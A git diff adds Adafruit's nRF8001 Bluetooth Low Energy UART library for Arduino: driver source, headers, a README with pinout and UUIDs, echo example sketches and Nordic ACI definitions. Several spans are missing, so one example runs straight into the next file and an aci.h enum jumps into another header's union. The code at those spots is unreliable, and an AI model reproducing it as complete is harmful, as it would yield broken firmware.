lib_aci_send_data(PIPE_UART_OVER_BTLE_UART_TX_TX, &buffer, 1); + aci_state.data_credit_available--; + + delay(35); // required delay between sends + return 1; + } + + pollACI(); + + return 0; +} + +/**************************************************************************/ +/*! + Update the device name (7 characters or less!) +*/ +/**************************************************************************/ +void Adafruit_BLE_UART::setDeviceName(const char * deviceName) +{ + if (strlen(deviceName) > 7) + { + /* String too long! */ + return; + } + else + { + memcpy(device_name, deviceName, strlen(deviceName)); + } +} + +/**************************************************************************/ +/*! + Handles low level ACI events, and passes them up to an application + level callback when appropriate +*/ +/**************************************************************************/ +void Adafruit_BLE_UART::pollACI() +{ + // We enter the if statement only when there is a ACI event available to be processed + if (lib_aci_event_get(&aci_state, &aci_data)) + { + aci_evt_t * aci_evt; + + aci_evt = &aci_data.evt; + switch(aci_evt->evt_opcode) + { + /* As soon as you reset the nRF8001 you will get an ACI Device Started Event */ + case ACI_EVT_DEVICE_STARTED: + { + aci_state.data_credit_total = aci_evt->params.device_started.credit_available; + switch(aci_evt->params.device_started.device_mode) + { + case ACI_DEVICE_SETUP: + /* Device is in setup mode! */ + if (ACI_STATUS_TRANSACTION_COMPLETE != do_aci_setup(&aci_state)) + { + if (debugMode) { + Serial.println(F("Error in ACI Setup")); + } + } + break; + + case ACI_DEVICE_STANDBY: + /* Start advertising ... first value is advertising time in seconds, the */ + /* second value is the advertising interval in 0.625ms units */ + if (device_name[0] != 0x00) + { + /* Update the device name */ + lib_aci_set_local_data(&aci_state, PIPE_GAP_DEVICE_NAME_SET , (uint8_t *)&device_name, strlen(device_name)); + } + lib_aci_connect(adv_timeout, adv_interval); + defaultACICallback(ACI_EVT_DEVICE_STARTED); + if (aci_event) + aci_event(ACI_EVT_DEVICE_STARTED); + } + } + break; + + case ACI_EVT_CMD_RSP: + /* If an ACI command response event comes with an error -> stop */ + if (ACI_STATUS_SUCCESS != aci_evt->params.cmd_rsp.cmd_status) + { + // ACI ReadDynamicData and ACI WriteDynamicData will have status codes of + // TRANSACTION_CONTINUE and TRANSACTION_COMPLETE + // all other ACI commands will have status code of ACI_STATUS_SUCCESS for a successful command + if (debugMode) { + Serial.print(F("ACI Command ")); + Serial.println(aci_evt->params.cmd_rsp.cmd_opcode, HEX); + Serial.println(F("Evt Cmd respone: Error. Arduino is in an while(1); loop")); + } + while (1); + } + if (ACI_CMD_GET_DEVICE_VERSION == aci_evt->params.cmd_rsp.cmd_opcode) + { + // Store the version and configuration information of the nRF8001 in the Hardware Revision String Characteristic + lib_aci_set_local_data(&aci_state, PIPE_DEVICE_INFORMATION_HARDWARE_REVISION_STRING_SET, + (uint8_t *)&(aci_evt->params.cmd_rsp.params.get_device_version), sizeof(aci_evt_cmd_rsp_params_get_device_version_t)); + } + break; + + case ACI_EVT_CONNECTED: + aci_state.data_credit_available = aci_state.data_credit_total; + /* Get the device version of the nRF8001 and store it in the Hardware Revision String */ + lib_aci_device_version(); + + defaultACICallback(ACI_EVT_CONNECTED); + if (aci_event) + aci_event(ACI_EVT_CONNECTED); + + case ACI_EVT_PIPE_STATUS: + if (lib_aci_is_pipe_available(&aci_state, PIPE_UART_OVER_BTLE_UART_TX_TX) && (false == timing_change_done)) + { + lib_aci_change_timing_GAP_PPCP(); // change the timing on the link as specified in the nRFgo studio -> nRF8001 conf. -> GAP. + // Used to increase or decrease bandwidth + timing_change_done = true; + } + break; + + case ACI_EVT_TIMING: + /* Link connection interval changed */ + break; + + case ACI_EVT_DISCONNECTED: + /* Restart advertising ... first value is advertising time in seconds, the */ + /* second value is the advertising interval in 0.625ms units */ + + defaultACICallback(ACI_EVT_DISCONNECTED); + if (aci_event) + aci_event(ACI_EVT_DISCONNECTED); + + lib_aci_connect(adv_timeout, adv_interval); + + defaultACICallback(ACI_EVT_DEVICE_STARTED); + if (aci_event) + aci_event(ACI_EVT_DEVICE_STARTED); + break; + + case ACI_EVT_DATA_RECEIVED: + defaultRX(aci_evt->params.data_received.rx_data.aci_data, aci_evt->len - 2); + if (rx_event) + rx_event(aci_evt->params.data_received.rx_data.aci_data, aci_evt->len - 2); + break; + + case ACI_EVT_DATA_CREDIT: + aci_state.data_credit_available = aci_state.data_credit_available + aci_evt->params.data_credit.credit; + break; + + case ACI_EVT_PIPE_ERROR: + /* See the appendix in the nRF8001 Product Specication for details on the error codes */ + if (debugMode) { + Serial.print(F("ACI Evt Pipe Error: Pipe #:")); + Serial.print(aci_evt->params.pipe_error.pipe_number, DEC); + Serial.print(F(" Pipe Error Code: 0x")); + Serial.println(aci_evt->params.pipe_error.error_code, HEX); + } + + /* Increment the credit available as the data packet was not sent */ + aci_state.data_credit_available++; + break; + } + } + else + { + // Serial.println(F("No ACI Events available")); + // No event in the ACI Event queue and if there is no event in the ACI command queue the arduino can go to sleep + // Arduino can go to sleep now + // Wakeup from sleep from the RDYN line + } +} + +/**************************************************************************/ +/*! + Configures the nRF8001 and starts advertising the UART Service + + @param[in] advTimeout + The advertising timeout in seconds (0 = infinite advertising) + @param[in] advInterval + The delay between advertising packets in 0.625ms units +*/ +/**************************************************************************/ +bool Adafruit_BLE_UART::begin(uint16_t advTimeout, uint16_t advInterval) +{ + /* Store the advertising timeout and interval */ + adv_timeout = advTimeout; /* ToDo: Check range! */ + adv_interval = advInterval; /* ToDo: Check range! */ + + /* Setup the service data from nRFGo Studio (services.h) */ + if (NULL != services_pipe_type_mapping) + { + aci_state.aci_setup_info.services_pipe_type_mapping = &services_pipe_type_mapping[0]; + } + else + { + aci_state.aci_setup_info.services_pipe_type_mapping = NULL; + } + aci_state.aci_setup_info.number_of_pipes = NUMBER_OF_PIPES; + aci_state.aci_setup_info.setup_msgs = (hal_aci_data_t*)setup_msgs; + aci_state.aci_setup_info.num_setup_msgs = NB_SETUP_MESSAGES; + + /* Pass the service data into the appropriate struct in the ACI */ + lib_aci_init(&aci_state); + + /* ToDo: Check for chip ID to make sure we're connected! */ + + return true; +} diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/Adafruit_BLE_UART.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/Adafruit_BLE_UART.h new file mode 100755 index 0000000..3511ef1 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/Adafruit_BLE_UART.h @@ -0,0 +1,86 @@ +/********************************************************************* +This is a library for our nRF8001 Bluetooth Low Energy Breakout + + Pick one up today in the adafruit shop! + ------> http://www.adafruit.com/products/1697 + +These displays use SPI to communicate, 4 or 5 pins are required to +interface + +Adafruit invests time and resources providing this open source code, +please support Adafruit and open-source hardware by purchasing +products from Adafruit! + +Written by Kevin Townsend/KTOWN for Adafruit Industries. +MIT license, check LICENSE for more information +All text above, and the splash screen below must be included in any redistribution +*********************************************************************/ + +#if ARDUINO >= 100 + #include "Arduino.h" +#else + #include "WProgram.h" +#endif + +#ifndef _ADAFRUIT_BLE_UART_H_ +#define _ADAFRUIT_BLE_UART_H_ + +#include "utility/aci_evts.h" + +#define BLE_RW_DEBUG + +extern "C" +{ + /* Callback prototypes */ + typedef void (*aci_callback)(aci_evt_opcode_t event); + typedef void (*rx_callback) (uint8_t *buffer, uint8_t len); +} + +class Adafruit_BLE_UART : public Stream +{ + public: + Adafruit_BLE_UART (int8_t req, int8_t rdy, int8_t rst); + + bool begin ( uint16_t advTimeout = 0, uint16_t advInterval = 80 ); + void pollACI ( void ); + size_t write ( uint8_t * buffer, uint8_t len ); + size_t write ( uint8_t buffer); + + size_t println(const char * thestr); + size_t print(const char * thestr); + size_t print(String thestr); + size_t print(int theint); + size_t print(const __FlashStringHelper *ifsh); + + void setACIcallback(aci_callback aciEvent = NULL); + void setRXcallback(rx_callback rxEvent = NULL); + void setDeviceName(const char * deviceName); + + // Stream compatibility + int available(void); + int read(void); + int peek(void); + void flush(void); + + aci_evt_opcode_t getState(void); + + private: + void defaultACICallback(aci_evt_opcode_t event); + void defaultRX(uint8_t *buffer, uint8_t len); + + // callbacks you can set with setCallback function for user extension + aci_callback aci_event; + rx_callback rx_event; + + bool debugMode; + uint16_t adv_timeout; + uint16_t adv_interval; + char device_name[8]; + + aci_evt_opcode_t currentStatus; + + // pins usd + int8_t _REQ, _RDY, _RST; +}; + +#endif diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/README.md b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/README.md new file mode 100755 index 0000000..48b7c4f --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/README.md @@ -0,0 +1,48 @@ +# Adafruit_nRF8001 # + +Driver and example code for Adafruit's nRF8001 Bluetooth Low Energy Breakout. + +## PINOUT ## + +The pin locations are defined in **ble_system.h**, the supported systems are defined in **hal_aci_tl.cpp**. The following pinout is used by default for the Arduino Uno: + +* SCK -> Pin 13 +* MISO -> Pin 12 +* MOSI -> Pin 11 +* REQ -> Pin 10 +* RDY -> Pin 2 (HW interrupt) +* ACT -> Not connected +* RST -> Pin 9 +* 3V0 - > Not connected +* GND -> GND +* VIN -> 5V + +RDY must be on pin 2 since this pin requires a HW interrupt. + +3V0 is an optional pin that exposes the output of the on-board 3.3V regulator. You can use this to supply 3.3V to other peripherals, but normally it will be left unconnected. + +ACT is not currently used in any of the existing examples, and can be left unconnected if necessary. + +# Examples # + +The following examples are included for the Adafruit nRF8001 Breakout + +## UART ## + +This example creates a UART-style bridge between the Arduino and any BLE capable device. + +You can send and receive up to 20 bytes at a time between your BLE-enabled phone or tablet and the Arduino. + +Any data sent to the Arduino will be displayed in the Serial Monitor output, and echo'ed back to the phone or tablet on the mobile device's RX channel. + +This demo creates a custom UART service, with one characteristic for TX and one for RX using the following UUIDs: + +* 6E400001-B5A3-F393-E0A9-E50E24DCCA9E for the Service +* 6E400002-B5A3-F393-E0A9-E50E24DCCA9E for the TX Characteristic (Property = Notify) +* 6E400003-B5A3-F393-E0A9-E50E24DCCA9E for the RX Characteristic (Property = Write without response) + +You can test the UART service with the free nRF UART apps from Nordic Semiconductors, available for both iOS and Android: + +* Compatible iOS devices: https://itunes.apple.com/us/app/nrf-uart/id614594903?mt=8 +* Compatible Android 4.3 and higher devices: https://play.google.com/store/apps/details?id=com.nordicsemi.nrfUARTv2 +* Compatible pre Android 4.3 Samsung devices (uses a proprietary Samsung BLE stack): https://play.google.com/store/apps/details?id=com.nordicsemi.nrfUART diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/examples/callbackEcho/callbackEcho.ino b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/examples/callbackEcho/callbackEcho.ino new file mode 100755 index 0000000..0001ab6 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/examples/callbackEcho/callbackEcho.ino @@ -0,0 +1,100 @@ +/********************************************************************* +This is an example for our nRF8001 Bluetooth Low Energy Breakout + + Pick one up today in the adafruit shop! + ------> http://www.adafruit.com/products/1697 + +Adafruit invests time and resources providing this open source code, +please support Adafruit and open-source hardware by purchasing +products from Adafruit! + +Written by Kevin Townsend/KTOWN for Adafruit Industries. +MIT license, check LICENSE for more information +All text above, and the splash screen below must be included in any redistribution +*********************************************************************/ + +// This version uses call-backs on the event and RX so there's no data handling in the main loop! + +#include +#include "Adafruit_BLE_UART.h" + +#define ADAFRUITBLE_REQ 10 +#define ADAFRUITBLE_RDY 2 +#define ADAFRUITBLE_RST 9 + +Adafruit_BLE_UART uart = Adafruit_BLE_UART(ADAFRUITBLE_REQ, ADAFRUITBLE_RDY, ADAFRUITBLE_RST); + +/**************************************************************************/ +/*! + This function is called whenever select ACI events happen +*/ +/**************************************************************************/ +void aciCallback(aci_evt_opcode_t event) +{ + switch(event) + { + case ACI_EVT_DEVICE_STARTED: + Serial.println(F("Advertising started")); + break; + case ACI_EVT_CONNECTED: + Serial.println(F("Connected!")); + break; + case ACI_EVT_DISCONNECTED: + Serial.println(F("Disconnected or advertising timed out")); + break; + default: + break; + } +} + +/**************************************************************************/ +/*! + This function is called whenever data arrives on the RX channel +*/ +/**************************************************************************/ +void rxCallback(uint8_t *buffer, uint8_t len) +{ + Serial.print(F("Received ")); + Serial.print(len); + Serial.print(F(" bytes: ")); + for(int i=0; i http://www.adafruit.com/products/1697 + +Adafruit invests time and resources providing this open source code, +please support Adafruit and open-source hardware by purchasing +products from Adafruit! + +Written by Kevin Townsend/KTOWN for Adafruit Industries. +MIT license, check LICENSE for more information +All text above, and the splash screen below must be included in any redistribution +*********************************************************************/ + +// This version uses the internal data queing so you can treat it like Serial (kinda)! + +#include +#include "Adafruit_BLE_UART.h" + +// Connect CLK/MISO/MOSI to hardware SPI +// e.g. On UNO & compatible: CLK = 13, MISO = 12, MOSI = 11 +#define ADAFRUITBLE_REQ 10 +#define ADAFRUITBLE_RDY 2 // This should be an interrupt pin, on Uno thats #2 or #3 +#define ADAFRUITBLE_RST 9 + +Adafruit_BLE_UART BTLEserial = Adafruit_BLE_UART(ADAFRUITBLE_REQ, ADAFRUITBLE_RDY, ADAFRUITBLE_RST); +/**************************************************************************/ +/*! + Configure the Arduino and start advertising with the radio +*/ +/**************************************************************************/ +void setup(void) +{ + Serial.begin(9600); + while(!Serial); // Leonardo/Micro should wait for serial init + Serial.println(F("Adafruit Bluefruit Low Energy nRF8001 Print echo demo")); + + // BTLEserial.setDeviceName("NEWNAME"); /* 7 characters max! */ + + BTLEserial.begin(); +} + +/**************************************************************************/ +/*! + Constantly checks for new events on the nRF8001 +*/ +/**************************************************************************/ +aci_evt_opcode_t laststatus = ACI_EVT_DISCONNECTED; + +void loop() +{ + // Tell the nRF8001 to do whatever it should be working on. + BTLEserial.pollACI(); + + // Ask what is our current status + aci_evt_opcode_t status = BTLEserial.getState(); + // If the status changed.... + if (status != laststatus) { + // print it out! + if (status == ACI_EVT_DEVICE_STARTED) { + Serial.println(F("* Advertising started")); + } + if (status == ACI_EVT_CONNECTED) { + Serial.println(F("* Connected!")); + } + if (status == ACI_EVT_DISCONNECTED) { + Serial.println(F("* Disconnected or advertising timed out")); + } + // OK set the last status change to this one + laststatus = status; + } + + if (status == ACI_EVT_CONNECTED) { + // Lets see if there's any data for us! + if (BTLEserial.available()) { + Serial.print("* "); Serial.print(BTLEserial.available()); Serial.println(F(" bytes available from BTLE")); + } + // OK while we still have something to read, get a character and print it out + while (BTLEserial.available()) { + char c = BTLEserial.read(); + Serial.print(c); + } + + // Next up, see if we have any data to get from the Serial console + + if (Serial.available()) { + // Read a line from Serial + Serial.setTimeout(100); // 100 millisecond timeout + String s = Serial.readString(); + + // We need to convert the line to bytes, no more than 20 at this time + uint8_t sendbuffer[20]; + s.getBytes(sendbuffer, 20); + char sendbuffersize = min(20, s.length()); + + Serial.print(F("\n* Sending -> \"")); Serial.print((char *)sendbuffer); Serial.println("\""); + + // write the data + BTLEserial.write(sendbuffer, sendbuffersize); + } + } +} diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci.h new file mode 100755 index 0000000..8535339 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci.h @@ -0,0 +1,608 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @defgroup aci aci + * @{ + * @ingroup lib + * + * @brief Definitions for the ACI (Application Control Interface) + * @remarks + * + * Flow control from application mcu to nRF8001 + * + * Data flow control: + * The flow control is credit based and the credit is initally given using the "device started" event. + * A credit of more than 1 is given to the application mcu. + * These credits are used only after the "ACI Connected Event" is sent to the application mcu. + * + * every send_data that is used decrements the credit available by 1. This is to be tracked by the application mcu. + * When the credit available reaches 0, the application mcu shall not send any more send_data. + * Credit is returned using the "credit event", this returned credit can then be used to send more send_data. + * This flow control is not necessary and not available for Broadcast. + * The entire credit available with the external mcu expires when a "disconnected" event arrives. + * + * Command flow control: + * When a command is sent over the ACI, the next command shall not be sent until after a response + * for the command sent has arrived. + * + */ + +#ifndef ACI_H__ +#define ACI_H__ + +/** + * @def ACI_VERSION + * @brief Current ACI protocol version. 0 means a device that is not yet released. + * A numer greater than 0 refers to a specific ACI version documented and released. + * The ACI consists of the ACI commands, ACI events and error codes. + */ +#define ACI_VERSION (0x02) +/** + * @def BTLE_DEVICE_ADDRESS_SIZE + * @brief Size in bytes of a Bluetooth Address + */ +#define BTLE_DEVICE_ADDRESS_SIZE (6) +/** + * @def ACI_PACKET_MAX_LEN + * @brief Maximum length in bytes of a full ACI packet, including length prefix, opcode and payload + */ +#define ACI_PACKET_MAX_LEN (32) +/** + * @def ACI_ECHO_DATA_MAX_LEN + * @brief Maximum length in bytes of the echo data portion + */ +#define ACI_ECHO_DATA_MAX_LEN (ACI_PACKET_MAX_LEN - 3) +/** + * @def ACI_DEVICE_MAX_PIPES + * @brief Maximum number of ACI pipes + */ +#define ACI_DEVICE_MAX_PIPES (62) +/** + * @def ACI_PIPE_TX_DATA_MAX_LEN + * @brief Maximum length in bytes of a transmission data pipe packet + */ +#define ACI_PIPE_TX_DATA_MAX_LEN (20) +/** + * @def ACI_PIPE_RX_DATA_MAX_LEN + * @brief Maximum length in bytes of a reception data pipe packet + */ +#define ACI_PIPE_RX_DATA_MAX_LEN (22) +/** + * @def ACI_GAP_DEVNAME_MAX_LEN + * @brief Maximum length in bytes of the GAP device name + */ +#define ACI_GAP_DEVNAME_MAX_LEN (20) +/** + * @def ACI_AD_PACKET_MAX_LEN + * @brief Maximum length in bytes of an AD packet + */ +#define ACI_AD_PACKET_MAX_LEN (31) +/** + * @def ACI_AD_PACKET_MAX_USER_LEN + * @brief Maximum usable length in bytes of an AD packet + */ +#define ACI_AD_PACKET_MAX_USER_LEN (31 - 3) +/** + * @def ACI_PIPE_INVALID + * @brief Invalid pipe number + */ +#define ACI_PIPE_INVALID (0xFF) + +/** + * @enum aci_pipe_store_t + * @brief Storage type identifiers: local and remote + */ +typedef enum +{ + ACI_STORE_INVALID = 0x0, + ACI_STORE_LOCAL= 0x01, + ACI_STORE_REMOTE= 0x02 +} aci_pipe_store_t; + +/** + * @enum aci_pipe_type_t + * @brief Pipe types + */ +typedef enum +{ + ACI_TX_BROADCAST = 0x0001, + ACI_TX = 0x0002, + ACI_TX_ACK = 0x0004, + ACI_RX = 0x0008, + ACI_RX_ACK = 0x0010, + ACI_TX_REQ = 0x0020, + ACI_RX_REQ = 0x0040, + ACI_SET = 0x0080, + ACI_TX_SIGN = 0x0100, + ACI_RX_SIGN = 0x0200, + ACI_RX_ACK_AUTO = 0x0400 +} aci_pipe_type_t; + +/** + * @enum aci_bd_addr_type_t + * @brief Bluetooth Address types + */ +typedef enum +{ + ACI_BD_ADDR_TYPE_INVALID = 0x00, + ACI_BD_ADDR_TYPE_PUBLIC = 0x01, + ACI_BD_ADDR_TYPE_RANDOM_STATIC = 0x02, + ACI_BD_ADDR_TYPE_RANDOM_PRIVATE_RESOLVABLE = 0x03, + ACI_BD_ADDR_TYPE_RANDOM_PRIVATE_UNRESOLVABLE = 0x04 +} aci_bd_addr_type_t; + +/** + * @enum aci_device_output_power_t + * @brief Radio output power levels + */ +typedef enum +{ + ACI_DEVICE_OUTPUT_POWER_MINUS_18DBM = 0x00, /**< Output power set to -18dBm */ + ACI_DEVICE_OUTPUT_POWER_MINUS_12DBM = 0x01, /**< Output power set to -12dBm */ + ACI_DEVICE_OUTPUT_POWER_MINUS_6DBM = 0x02, /**< Output power set to -6dBm */ + ACI_DEVICE_OUTPUT_POWER_0DBM = 0x03 /**< Output power set to 0dBm - DEFAULT*/ +} aci_device_output_power_t; + +/** + * @enum aci_device_operation_mode_t + * @brief Device operation modes + */ +typedef enum +{ + ACI_DEVICE_INVALID =0x00, + ACI_DEVICE_TEST =0x01, + ACI_DEVICE_SETUP =0x02, + ACI_DEVICE_STANDBY =0x03, + ACI_DEVICE_SLEEP =0x04 +} aci_device_operation_mode_t; + +/** + * @enum aci_disconnect_reason_t + * @brief Reason enumeration for ACI_CMD_DISCONNECT + */ +typedef enum +{ + ACI_REASON_TERMINATE =0x01, /**< Use this to disconnect (does a terminate request), you need to wait for the "disconnected" event */ + ACI_REASON_BAD_TIMING =0x02 /* Opcode of the ACI command */ + union + { + aci_cmd_params_test_t test; + aci_cmd_params_echo_t echo; + aci_cmd_params_dtm_cmd_t dtm_cmd; + aci_cmd_params_setup_t setup; + aci_cmd_params_write_dynamic_data_t write_dynamic_data; + aci_cmd_params_set_local_data_t set_local_data; + aci_cmd_params_connect_t connect; + aci_cmd_params_bond_t bond; + aci_cmd_params_disconnect_t disconnect; + aci_cmd_params_set_tx_power_t set_tx_power; + aci_cmd_params_change_timing_t change_timing; + aci_cmd_params_open_remote_pipe_t open_remote_pipe; + aci_cmd_params_send_data_t send_data; + aci_cmd_params_send_data_ack_t send_data_ack; + aci_cmd_params_request_data_t request_data; + aci_cmd_params_send_data_nack_t send_data_nack; + aci_cmd_params_set_app_latency_t set_app_latency; + aci_cmd_params_set_key_t set_key; + aci_cmd_params_open_adv_pipe_t open_adv_pipe; + aci_cmd_params_broadcast_t broadcast; + aci_cmd_params_close_remote_pipe_t close_remote_pipe; + + } params; +} aci_cmd_t; + +#endif // ACI_CMDS_H__ + + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_evts.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_evts.h new file mode 100755 index 0000000..77f2f2c --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_evts.h @@ -0,0 +1,364 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup aci + * + * @brief Definitions for the ACI (Application Control Interface) events + */ + +#ifndef ACI_EVTS_H__ +#define ACI_EVTS_H__ + +#include "aci.h" +/** + * @enum aci_evt_opcode_t + * @brief ACI event opcodes + */ +typedef enum +{ + /** + * Invalid event code + */ + ACI_EVT_INVALID = 0x00, + /** + * Sent every time the device starts + */ + ACI_EVT_DEVICE_STARTED = 0x81, + /** + * Mirrors the ACI_CMD_ECHO + */ + ACI_EVT_ECHO = 0x82, + /** + * Asynchronous hardware error event + */ + ACI_EVT_HW_ERROR = 0x83, + /** + * Event opcode used as a event response for all commands + */ + ACI_EVT_CMD_RSP = 0x84, + /** + * Link connected + */ + ACI_EVT_CONNECTED = 0x85, + /** + * Link disconnected + */ + ACI_EVT_DISCONNECTED = 0x86, + /** + * Bond completion result + */ + ACI_EVT_BOND_STATUS = 0x87, + /** + * Pipe bitmap for available pipes + */ + ACI_EVT_PIPE_STATUS = 0x88, + /** + * Sent to the application when the radio enters a connected state + * or when the timing of the radio connection changes + */ + ACI_EVT_TIMING = 0x89, + /** + * Notification to the application that transmit credits are + * available + */ + ACI_EVT_DATA_CREDIT = 0x8A, + /** + * Data acknowledgement event + */ + ACI_EVT_DATA_ACK = 0x8B, + /** + * Data received notification event + */ + ACI_EVT_DATA_RECEIVED = 0x8C, + /** + * Error notification event + */ + ACI_EVT_PIPE_ERROR = 0x8D, + /** + * Display Passkey Event + */ + ACI_EVT_DISPLAY_PASSKEY = 0x8E, + /** + * Security Key request + */ + ACI_EVT_KEY_REQUEST = 0x8F + +} aci_evt_opcode_t; + +/** + * @struct aci_evt_params_device_started_t + * @brief Structure for the ACI_EVT_DEVICE_STARTED event return parameters + */ +typedef struct +{ + uint8_t device_mode; /**< enum aci_device_operation_mode_t -> Mode in which the device is being started */ + uint8_t hw_error; /**< enum aci_hw_error_t -> Hardware Error if available for the start */ + uint8_t credit_available; /**< Flow control credit available for this specific FW build */ +} aci_evt_params_device_started_t; + +/** + * @struct aci_evt_params_hw_error_t + * @brief Structure for the ACI_EVT_HW_ERROR event return parameters + */ +typedef struct +{ + uint16_t line_num; + uint8_t file_name[20]; +} aci_evt_params_hw_error_t; + +/** + * @struct aci_evt_cmd_rsp_params_dtm_cmd_t + * @brief Structure for the ACI_EVT_CMD_RSP event with opcode=ACI_CMD_DTM_CMD event return parameters + */ +typedef struct +{ + uint8_t evt_msb; + uint8_t evt_lsb; +} aci_evt_cmd_rsp_params_dtm_cmd_t; + +/** + * @struct aci_evt_cmd_rsp_read_dynamic_data_t + * @brief Structure for the ACI_EVT_CMD_RSP event with opcode=ACI_CMD_READ_DYNAMIC_DATA event return parameters + * @note Dynamic data chunk size in this event is defined to go up to ACI_PACKET_MAX_LEN - 5 + */ +typedef struct +{ + uint8_t seq_no; + uint8_t dynamic_data[1]; +} aci_evt_cmd_rsp_read_dynamic_data_t; + +/** + * @struct aci_evt_cmd_rsp_params_get_device_version_t + * @brief Structure for the ACI_EVT_CMD_RSP event with opcode=ACI_CMD_GET_DEVICE_VERSION event return parameters + */ +typedef struct +{ + uint16_t configuration_id; + uint8_t aci_version; + uint8_t setup_format; + uint32_t setup_id; + uint8_t setup_status; +} aci_evt_cmd_rsp_params_get_device_version_t; + +/** + * @struct aci_evt_cmd_rsp_params_get_device_address_t + * @brief Structure for the ACI_EVT_CMD_RSP event with opcode=ACI_CMD_GET_DEVICE_ADDRESS event return parameters + */ +typedef struct +{ + uint8_t bd_addr_own[BTLE_DEVICE_ADDRESS_SIZE]; + uint8_t bd_addr_type; /**< enum aci_bd_addr_type_t */ +} aci_evt_cmd_rsp_params_get_device_address_t; + +/** + * @struct aci_evt_cmd_rsp_params_get_battery_level_t + * @brief Structure for the ACI_EVT_CMD_RSP event with opcode=ACI_CMD_GET_BATTERY_LEVEL event return parameters + */ +typedef struct +{ + uint16_t battery_level; +} aci_evt_cmd_rsp_params_get_battery_level_t; + +/** + * @struct aci_evt_cmd_rsp_params_get_temperature_t + * @brief Structure for the ACI_EVT_CMD_RSP event with opcode=ACI_CMD_GET_TEMPERATURE event return parameters + */ +typedef struct +{ + int16_t temperature_value; +} aci_evt_cmd_rsp_params_get_temperature_t; + +/** + * @struct aci_evt_params_cmd_rsp_t + * @brief Structure for the ACI_EVT_CMD_RSP event return parameters + */ +typedef struct +{ + uint8_t cmd_opcode; /**< enum aci_cmd_opcode_t -> Command opcode for which the event response is being sent */ + uint8_t cmd_status; /**< enum aci_status_code_t -> Status of the command that was sent. Used in the context of the command. */ + union + { + aci_evt_cmd_rsp_params_dtm_cmd_t dtm_cmd; + aci_evt_cmd_rsp_read_dynamic_data_t read_dynamic_data; + aci_evt_cmd_rsp_params_get_device_version_t get_device_version; + aci_evt_cmd_rsp_params_get_device_address_t get_device_address; + aci_evt_cmd_rsp_params_get_battery_level_t get_battery_level; + aci_evt_cmd_rsp_params_get_temperature_t get_temperature; + uint8_t padding[29]; + } params; +} aci_evt_params_cmd_rsp_t; + +/** + * @struct aci_evt_params_connected_t + * @brief Structure for the ACI_EVT_CONNECTED event return parameters + */ +typedef struct +{ + aci_bd_addr_type_t dev_addr_type; + uint8_t dev_addr[BTLE_DEVICE_ADDRESS_SIZE]; + uint16_t conn_rf_interval; /**< rf_interval = conn_rf_interval * 1.25 ms Range:0x0006 to 0x0C80 */ + uint16_t conn_slave_rf_latency; /**< Number of RF events the slave can skip */ + uint16_t conn_rf_timeout; /**< Timeout as a multiple of 10ms i.e timeout = conn_rf_timeout * 10ms Range: 0x000A to 0x0C80 */ + uint8_t master_clock_accuracy; /**< enum aci_clock_accuracy_t -> Clock accuracy of Bluetooth master: Enumerated list of values from 500 ppm to 20 ppm */ +} aci_evt_params_connected_t; + +/** + * @struct aci_evt_params_disconnected_t + * @brief Structure for the ACI_EVT_DISCONNECTED event return parameters + */ +typedef struct +{ + uint8_t aci_status; /**< enum aci_status_code_t */ + uint8_t btle_status; +} aci_evt_params_disconnected_t; + +/** + * @struct aci_evt_params_bond_status_t + * @brief Structure for the ACI_EVT_BOND_STATUS event return parameters + */ +typedef struct +{ + uint8_t status_code; + uint8_t status_source; /**< enum aci_bond_status_source_t */ + uint8_t secmode1_bitmap; + uint8_t secmode2_bitmap; + uint8_t keys_exchanged_slave; + uint8_t keys_exchanged_master; +} aci_evt_params_bond_status_t; + +/** + * @struct aci_evt_params_pipe_status_t + * @brief Structure for the ACI_EVT_PIPE_STATUS event return parameters + */ +typedef struct +{ + uint8_t pipes_open_bitmap[8]; + uint8_t pipes_closed_bitmap[8]; +} aci_evt_params_pipe_status_t; + +/** + * @struct aci_evt_params_timing_t + * @brief Structure for the ACI_EVT_TIMING event return parameters + */ +typedef struct +{ + uint16_t conn_rf_interval; /**< rf_interval = conn_rf_interval * 1.25 ms Range:0x0006 to 0x0C80 */ + uint16_t conn_slave_rf_latency; /**< Number of RF events the slave can skip */ + uint16_t conn_rf_timeout; /**< Timeout as a multiple of 10ms i.e timeout = conn_rf_timeout * 10ms Range: 0x000A to 0x0C80 */ +} aci_evt_params_timing_t; + +/** + * @struct aci_evt_params_data_credit_t + * @brief Structure for the ACI_EVT_DATA_CREDIT event return parameters + */ +typedef struct +{ + uint8_t credit; +} aci_evt_params_data_credit_t; + +/** + * @struct aci_evt_params_data_ack_t + * @brief Structure for the ACI_EVT_DATA_ACK event return parameters + */ +typedef struct +{ + uint8_t pipe_number; +} aci_evt_params_data_ack_t; + +/** + * @struct aci_evt_params_data_received_t + * @brief Structure for the 